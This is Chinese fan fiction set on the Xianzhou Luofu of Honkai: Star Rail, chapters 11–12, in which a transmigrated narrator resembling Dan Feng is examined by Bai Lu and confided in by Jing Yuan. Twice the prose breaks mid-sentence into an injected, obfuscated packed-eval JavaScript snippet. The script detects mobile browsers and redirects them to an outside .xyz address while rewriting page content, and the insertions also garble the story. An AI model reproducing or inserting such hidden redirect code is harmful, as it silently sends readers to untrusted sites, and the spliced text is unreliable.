青雀稳稳当当地把第二杯仙人快乐茶放在了我抬起的掌心。 “喂喂,仙人快乐茶虽美味。”白露大人叉着腰穿过红毯走了过来,“可不能多喝,会上火生痘的,而且这位大哥哥看起来面色……” 谢天谢地,终于来了一个人,见到我的第一眼不是问我我是谁。 “如此苍白!”她说。 接着她的语调提高了几十度:“而且看起来马上要厥过去了啊!快来人啊!扶他到旁边躺下去啊!” 其实我觉得自己还挺好的,但是白露大人激动的语气不禁让我感到,自己好像确实有点不行了。 “什么?”青雀好像吓得不轻。 白露非常自力更生地搬了张躺椅过来,这半推半就之下,我也只好乖乖躺下去,任由她为我诊脉。 诊脉这种事情我之前常干,但让龙女大人给我诊上一诊,倒是天大的荣幸了。病人要是血压飙升了马上有人来给药,医士要是血压飙升了,快死了都得拖着病躯去出诊。 牛马的人生,在哪个世界都一样。 果然白露马上如我所料般地展现了百分百震惊的神情,甚至夹杂了一丝丝的疑惑和一丝丝的绝望。 她说:“你这脉……” 青雀答:“他这脉……” 我配合道:“医生,请您告诉我坏消息是什么吧,我好提前做个准备。” 白露沉默了又沉默,最终把话补完了:“你这脉……怎么忽死忽活的!” “啊?”青雀比我还震惊。 我认真地点点头:“是的没错,它跳一会就不跳了。” 早说过了,我是个死人。 非常死的那种。 也是双重意义上的那种。 “所以——”我抓住机会想借此厘清一下疑虑,“我不是一具偃偶?” 白露变得更困惑了,她仿佛开始怀疑我的脑子是否正常了:“你确实是个人,但我实在不能说你是个活生生的人。” 好的。 现在排除了一个可能性,所以剩下的便是——真相。 我越推理,越感觉自己要长出脑子了,可接下来当我看到白露的近侍云悠出现在我的视野时,我马上就把自己得出的结论忘得一干二净了。 “龙尊大人?” 她张了张嘴,又合上。 我知道她和龙师们的关系非同一般,所以她瞧见我的时候,展露出的那种怀疑人生的目瞪口呆不像是假的,反而她仿佛要比我先晕过去了。 毕竟目睹一个死得不能再死的人活过来,这样的事情,不是所有人都能接受良好的。 尤其是这个人还是出现在持明历史教科书首页的大家伙。 我听见她呢喃道: “这和龙师说得不一样啊……” 11. 虚构了 对不起,是我OOC了。 你问我为什么知道云悠和龙师关系匪浅,当然不是因为我看过白露的个人故事。 而是因为之前云悠让我给她代笔誊写寄给龙师的书信,说到日后给白露大人加「饮月君」尊号的事情—— 没错,我们罗浮向来如此松弛,机密文件都是可以随便传播的。 我看见云悠对于我的出现——以丹枫大人的形象——先是呈现出了极度的不可置信,紧接着转变为了一种我读不懂的怒意。 我盯着她的动作,她盯着我的脸。 说不出来的感觉。 我觉得她此时此刻肯定猜不到我是她已故的前同事,那么我可以尽情地放飞自我了! 重点,错误。 她的动作是僵住了,白露倒是很主动地去打破微妙的沉默:“云悠姐,你快来帮我看看这个病人,我真是搞不懂他的脉象了。” “这么奇怪!”白露夸张地比划了下,“像苏打豆汁儿的味道一样奇怪!” 我趁机偷偷摸了摸自己的脉,嗯,确实很怪。 “龙女大人,您不应该……” 云悠迟疑了片刻才慢慢靠近过来,还是把后半句话咽下去了,转而换了一种更柔和的哄孩子的语调: “药王秘传尚且没有被完全灭尽,这里太危险了,您还是赶紧跟我到安全的地方避避险吧。” 她伸手挡在了我和白露之间。 “不行!” 白露毅然决然地拒绝了她:“丹鼎司遭遇袭击,大家全在帮忙治病救人,我怎么可以只顾自己,一个人跑了!” 我也对着云悠说道:“龙女大人在为我看诊,你为什么要阻止她?” 青雀同样来帮腔:“就是就是。” 我猜大概是景元吩咐了青雀具体的任务,所以她十分愉快地一边嗦仙人快乐茶,一边与我打起了配合。 云悠的脸色变得铁青。 “哦,对了——” 我想起来正事,顺势从怀里掏出了那叠百十来页的统计名单递给云悠。 “这份名单得麻烦你确认一下。”我认真地交代了,“这是地衡司的委托。” 云悠不肯回答我,只是狐疑地从我手里接下来了文件翻了翻,然后她那满腔的怒火马上转移到了工作身上。 整肃! 仙舟政治急需整肃! 我在心中激动地呐喊着,结果马上城门失火殃及池鱼了。 这位持明近侍——丹鼎司的负责人之一——正握着我交给她的那份《丹鼎司伤亡人士统计名单》,指节微微颤动,怒火呼之欲出。 “这整理得什么玩意?” 她一声呵斥,全场鸦雀无声。 “首先这份文件错漏百出,明明死了的医士和丹士,根本没有统计进去。有些还活着的,居然被标记为死了!” 她呼啦呼啦地翻起来书页:“再则,为什么被踩烂的实验金鱼,逃跑的看门机巧金人全部计算在这里面了,它们难道也需要抚恤金吗?” “还有第三点,你们太卜司到底是怎么办事的啊?” 她一记眼刀飞向青雀,我和白露也看向青雀,青雀一挠头发:“这、这我们太卜司也是按照十王司发来的筛选条件生成的名单,再发给地衡司的……” “你非要说,也是十王司计算错了……”青雀的声音越说越有点缺了底气,“跟我们太卜司不搭界啊。” 我仰卧起坐起来:“难道十王司能够预料死伤人数?” “啊。”青雀猛然被我一问,快速地眨了眨眼,“理论上是可以的,他们会通过冥差引渡的数据和天人剩余寿数预估系统来计算,关键在于——” 我发现青雀说到这里的时候,云悠的脸色突然唰的一下改变了。 她慌忙地抓了抓手里的文件,转身要走:“罢了罢了,现在司鼎缺位,丹士长叛变,医士长去支援别处了。这份名单你们自己收着吧,我自己去做份新的,白露大人您待着这里不要走动,我马上派别人来看护你。” “是。”白露乖乖地应了一声。 我感觉自己一下子明白了过来。 “所以龙师们到底说了什么,而十王司又和龙师们说了什么关于我的事?” 我故意在她刚走出几步的时候出声叫住了她。 她的脚步很明显地顿了几秒,然后她转过身来装作面无表情地回答我说:“龙师提醒我们,有个幻戏大师假扮前任龙尊在大街上招摇撞骗,叫我们谨防上当受骗。” 我听得出来她说的是假话,但点到为止即可,我的猜想已经得到验证了。 一切都关乎于——十王司。 她没有再停留,立马抽身离开了,直到最后,我听见她在远处用极低的声音对自己说道:“因为罗浮不可能有两个饮月君啊……” 那是自然。 甚至现在连一个也没有。 - 感谢丹枫大人赐予我的极佳听力,我终于听到了些有价值的东西。 而不是什么飞翔的龙师…… 白露见云悠走了,赶紧抓过我的胳膊,我还没来得及理清思路,她就对我来了一连串直击灵魂深处的炸弹式提问。 比起别的,她更关心治病救人,直接忽视了云悠说的话,而青雀更是全然心不在焉,神游天外呢。 总而言之,白露大人清了清嗓子,低沉着声音就对我问道:“最近,经常熬夜吧?” 此情此景,我不得不点点头。 于是她渐渐地呈现出了然于胸的架势:“最近,经常吃辛辣的食物吧?” 我不知道,但也只好点头。 最终她忧心忡忡地拧起眉头,连声叹气道:“最近,作息很不规律吧?” 这问诊问得真叫人愈发汗如雨下,难道大家都不爱来看医生,小病拖成大的,大病拖成死的。 我觉得我现在不太需要治疗,死就死了呗,反正我已经死习惯了,但白露执意不肯让我离开。 “如此一来。”她的语气变得十分确信,“是年轻人的通病了——” “还能治吗?”青雀来凑热闹了。 “当然!” 我直勾勾地瞧着白露掏出了她的药壶,以迅雷不及掩耳之势旋开塞子,喷出一团不可名状的白色药雾。 “有事没事,睡一觉就好!” 她说。 我本想说自己不困的,但这药雾果真具有奇效,我一歪头就昏了过去,睡得极其的沉。 - 梦里面也是白茫茫的一片。 像是躺在流水里,像是躺在温泉里,有一股沁人心脾的松竹气息随着雾涌云蒸的空气弥漫开来。 这是哪里? 我尝试着环顾四周,然后看到了一个修长的影子漂浮在空中。 谁? “他”站在前方对我招了招手。 我跟从“他”的动作努力地抬了抬身体,接着发现身体变得异常轻盈,如同飞起来了一般。 周遭的光景随之变化,接着出现了细细碎碎的啁哳声响。 有人在说话。 还是很多人在一起说话。 “景元……你这样做不好吧……你要我们承认他的身份……滑天下之大稽……” 是那个龙师。 “长老大人,我的意思是……你们一族有那么多个饮月君……自然也不差现在这一个了……” 态度算是很客气了。 我看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471723|169890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着这两个模糊的人像在对话,仿佛看一幕幻戏那般,又像是泡沫那样,光怪陆离。 “龙师议会暂代其职……运行得很完美……垂拱而治……卓著成效……” “且容我提醒一句……蜕鳞之刑……其中是否真有什么蹊跷……我不得而知……然则……” 争吵之音哗然,遮住所有的语词。 我还想再继续听下去,然而眼前朦胧的景致陡然发生了第二次转变,这个梦仿佛既熟悉又陌生。 我发现自己似乎在读一段隐秘的记忆,不知谁人的记忆。 “青镞。” 这一声同之前不太一样。 “如果我这次没有回来,罗浮便交给……” “嘿,将军您别煽情了,请快点吩咐兵力部署,我好速去安排!” “行动开始后,我会把兵权暂时交于符玄,而后在建木被成功封印之后,你带我的近卫来丹鼎司接应我。” “如果发生意外了呢?” “那么你就带人去找那个长得像「饮月君」的人,我已经关照过他了,他会负责接手的。届时,他应该也在丹鼎司的。” 丹鼎司? 这是景元和他的策士青镞的对话,为什么我能够听见…… 直到我看见那个影子紧紧飘在景元的后面,仿佛一个背后灵那样。 - *混乱的仙舟雅言*。 合着我现在不仅知道全部的主线剧情——还能看到游戏文本里没写出来的东西! 虚构,史学家啊。 我并没有想到自己还有成为虚构史学家的潜力。 可正在我观赏这段记忆观赏得津津有味时,突然一阵剧烈的震动掀动了整片空间。 温度瞬间变得滚烫。 我抓不住那流水,它们自我身侧滚滚淌过,我感到心脏一痛,像是被一根长刺穿透了。 唉,疼。 我一个下意识地闭眼,再一个本能的睁眼,就是说眼睛一睁一闭,双腿一蹬,然后—— 醒过来了。 我费了好大力气才适应过来光线的变化,就看见白露紧握着我的掌心,喜悦地望着我的眼睛说:“恭喜你……” 我接道:“手术成功了?” 长达五秒的寂静。 白露又开口了:“恭喜你,你进入了快速眼动期。” 我答:“我大概是毒菌子吃多了。” 我难以和她描述自己在梦里面究竟看见了什么,说出来的话她可能会以为我疯了。 不过她的手指立刻搭上了我的腕管,沉思了片刻之后,松了口气道:“你的脉息平稳多了。” “谢谢。”我说。 对不起,我发自内心地感激白露热心的帮助,虽然可能没什么用。 “我做了一个很奇怪的梦。”我尝试解释道。 “梦?”白露托了托下巴,“我们持明一族会在梦里面看见些古怪的前世记忆再正常不过了,瞧你的龙角和龙尾巴……” “等等,你是——” 她恍然大悟地张开嘴。 很不幸,我知道她没机会说完这一句话了。 因为此时我们所处的行医市集正前方传来一声震耳欲聋的巨响,此起彼伏的“发生了什么”从众人口中传出。 紧接着波月古海搅动起潮波,然后青色的火焰在地平线的尽头剧烈迸发出来,转瞬间又立马灰飞烟灭了。 一道光印覆盖天空。 建木的封印被加固完成。 我回忆起来梦境,于是清了清嗓子说道:“没事,青镞马上要来了,景元将军也马上要来了。” 能够一觉把关键剧情睡过去—— 除了我,也没谁了。 12.见鬼了 我的动作还是太迅速了。 所以没有一个人看见我立刻钻到了躺椅底下,只当我是凭空消失了,况且他们现在的注意力全被另一件事吸引过去了。 “啊啊啊啊啊啊——” 我听见白露发出了痛苦的哀嚎。 幻胧突袭了建木,神君突袭了幻胧,丹恒突袭了景元和幻胧……连起来了,都连起来了。 所以现在是,突袭丹鼎司的主场! 饶是我还记得剧情,知道现在的情形并非生死存亡的关头,但众人当下看到晕厥了的景元将军,心里头恐怕是担忧极了。 当然不排除一些用心险恶的人在欢呼,比如某群龙师,某群药王秘传。 外头躁动了一小会儿。 来来回回地传来脚步声和喧哗声,最后有人被扶了过来。 所以duang的一下。 我的头顶遭受了一点重击,然后躺椅的格布被沉沉压下,而我的活动空间瞬间所剩无几。 嗯,是实心的。 我感慨着。 为了避免麻烦,我不想碰见星穹列车的诸位;按照景元的意思,他不想我碰见星穹列车的诸位;所以本着不给景元添麻烦的原则,我选择逃避—— 逃避可耻,但有用(确信音)。 我在地上躺平了大概几分钟,头顶终于飘来一个女声说道:“星穹列车的诸位,请放心,后续交给我们……” “好的,谢谢您。” 这是丹恒先生的声音。 我猜先说话的那个人就是青镞,因为她很礼貌客气,又不失领导者的风度。不过至于她具体讲了什么,我不费此口舌转述了。 反正她的意思大致是请主角团们安心离开,所以在他们走后,我也就能够从椅子底下解放了。 我自以为隐藏得天衣无缝,但当我钻出来的时候,青镞小姐还是用了一种十分意味深长的目光瞧我,让我不禁觉得她甚至颇有些—— 常乐天君的风范。 这厢白露目不转睛地盯着沉睡的景元看了好几分钟,以至于察觉我站到了她的身后时几乎是脱口而出:“你什么时候来的?” “刚刚。”我回答,“刚刚。” “喂,你们说……”青雀探头探脑地凑近病床,惊魂未定地拿胳膊肘了肘我,“将军他……” “啊——!” 白露叫起来,疯狂摇头:“不能说、不能说。” 道理是这样的,我们仙舟人是有点言出法随、出口成真的本领在的,因此轻易说不得。 白露连声哎呀地摸了摸景元的脉,只道:“这魔阴身的征兆倒是不明显,主要的还是绝灭大君的力量,还在影响将军的气机运行。” 我不知道白露说到这个的时候为什么要抬头看我,但她确实深沉地望了我一眼,然后问道:“唉,你怎么看?” 这一眼自然还把凑过来的青雀包含在内了,她似乎是觉得我有所迟疑,抢了个先替我回答:“我、我吗?……我只会打牌,不会看病的啊!” “不不不。”白露一边摇头一边继续看我,“这位病人,你觉得应对这种情况开什么药比较合适呢?” 我只好说:“开点康复新液?” 仙舟有这种东西吗?我想应该是没有的,仙舟的水土不养人,也不养某些顽强的小动物,连野生的狸奴什么的都绝迹了。 实在不够生态,不够环保。 我觉得问一个自己就半死不活的家伙如何去治另一个鬼门关走过一趟的家伙,并非什么好主意。 然而我低头仔细去瞧将军的脸色时,他却忽然醒了,正好笔直地对上我探询的视线,我赶忙重新立正了。 心虚,我是挺心虚的。 “龙女大人,我没事,别哭啦。”他面色苍白地很,却还是抬手拍了拍白露的肩膀,“只是……有点累了。” 我和青雀依旧在被罚站,但青雀这回可不敢说话了。 青镞过来征询意见,她的走位令人惊叹,因为刚好隔开了我和其他人,我推测这一定有什么深意。 她语气和蔼地对白露说,似有在暗暗催促的意味:“龙女大人,您请先做些紧急处理吧。” 白露撇了撇嘴,站起来:“好,那我先去抓一剂药来——依现在的状况,将军需要静卧疗养佐以相应药石,等待内伤慢慢痊愈。” “急不得。” 这是白露大人最后得出的结论。 - 果然。 青镞立即请走了白露去抓药,而且强行带着青雀一起离了现场,只留下我和景元两个人。 “……你亦精通难素之学,不来号号这脉吗?”他们走后,景元立马问我。 我觉得他应该真的是很累了,言语之际甚至没力气移动目光与我对视。 “那恕我冒犯了。”我忐忑地答说。 要论医术,丹鼎司有谁能够比过龙女大人呢?所有我们这些普通医士解决不了的疑难杂症,都是一个玉兆信息请她来“飞诊”的。 所以景元约莫是有别的意思。 我没什么理由去违拗他,更别提拒绝了,自然是脱了手套,搭到人腕子上一摸,吁,这脉理确实波涛汹涌。 噫吁嚱,危乎! 幸好这变成真衣服的cos套装没有像头上的假毛一样扯不下来,不然就糟大糕了。 我轻咳一声,打算复读一遍白露大人的诊断,可景元先打断了我。 “如果你有什么问题,现在可以问我……”景元咬了一口气,吃力地抬了抬手,覆住了我搭于他腕子上的五指,“但,只能问一个。” 狡猾,真狡猾。 我实在有很多问题,的确选不出最重要的那个,现在是问这个的时候吗?不是吧! 他应该好好休息。 “问吧。” 他看我不说话,复又强调道。 我心中满腔腹诽,到底还是拗不过,干脆深呼吸一口气,假装底气十足地说出了一个大不韪的问题。 我问: “……你还是人吗?” 我知道的,景元再次向我展现了那种看傻子一样的神情,虽然这可能是我于心有愧的误读,但我觉得他这样认为也是合情合理。 他轻笑了一声:“好问题。” 我想他明白我是什么意思。 “这就看你怎么理解了。”他叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477786|169890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一口长气,目光垂平,“人,或偃偶,在十王司的眼里没有区别。将军一职,名义上虽是统领整个仙舟,实际上却对十王司的饬令敢不唯命。” 要是我能搞懂穿越的原理,现在别说在仙舟横着走了,博识尊说不定都能瞥我一眼,让我直接原地飞升。 当然这肯定不可能。 我可算是听懂了,他已经把我给安排好了,这弦外之意便是要我去为他探一探十王司。 去还是不去。 同样是个‘好问题’。 我还在沉默,可不能如此轻易地做出决断,万事切不该冲动,而景元慢悠悠地收回了手,嘴角满是笑意。 “你,不问问自己的事吗?” 他闭上了眼睛,估摸着我好像是懂了,因此准备安心睡了,我替他掖了掖之前医助送来的被子。 “我没什么好问的。” 我也不知道怎么回事,仿佛潜意识使然,口没遮拦地便是这句话。 即使如此,景元仍旧自顾自地说了下去,像是在给自己讲解那般。 “一方面,我已见过你施展那样的力量,所以假使我此前的谋划有一子落空,那么便需要仰赖你来补救,罗浮绝不能沦陷。兵行险招,无往不利,就得做多手准备。” “其次,我已见过你施展那样的力量,所以希望你尽所能够隐于幕后,不被牵扯。这一次危机,我们不仅仅追求‘平安度过’,而是需要由此契机与星穹列车建立盟约,你一旦出手,就会打破原本维系着的平衡。” “简言之,我现在需要的是星穹列车的丹恒。”他居然闭着眼苦笑了一下,“而不是你……” 他一条一条地解释得很清楚,莫不成是怕我多思,然而无论事实如何,我是更信“镜流”所说的——即便景元不有意指派我,我也不想过多深入众人命运的交集。 没有人清楚蝴蝶效应究竟会带来什么样的因果孽业。 早说过了,我很保守的。 我觉得他对着我说话,却像是对着另一个人,这我可以理解,但不知该作何反应,只能干巴巴地给了回答。 “将军难得这么直白。” 每每我以为他要休息了,偏偏他还非努力着继续说下去:“最后一句话。” 快睡吧,我想说。 “去太卜司。”他对我吩咐道。 - 猫说让我往东,我哪里敢往西。 这边青镞也携着白露和青雀回来了,手里端着热气滚烫的药碗,我回头一看,发现景元立即紧闭了眼睛,一秒入睡的样子。 这人居然怕喝苦药? 我寻思着,决定往后退了半步,给大家让出表演的空间,然而等她们走近了,现在气氛突然发生了变异。 “啊啊啊啊啊啊——” 首尾呼应的痛苦哀嚎。 我就感觉周围一阵明光闪闪,然后白露和青雀瞬间抱作一团,颤颤巍巍地指向景元肩后长出的白色影子。 白露&青雀:“是、是背后灵啊!” 啊,白日见鬼了。 我眼疾手快地一伸胳膊,稳稳地接住了白露抛飞出去的药碗。看来,景元这觉又是睡不成了。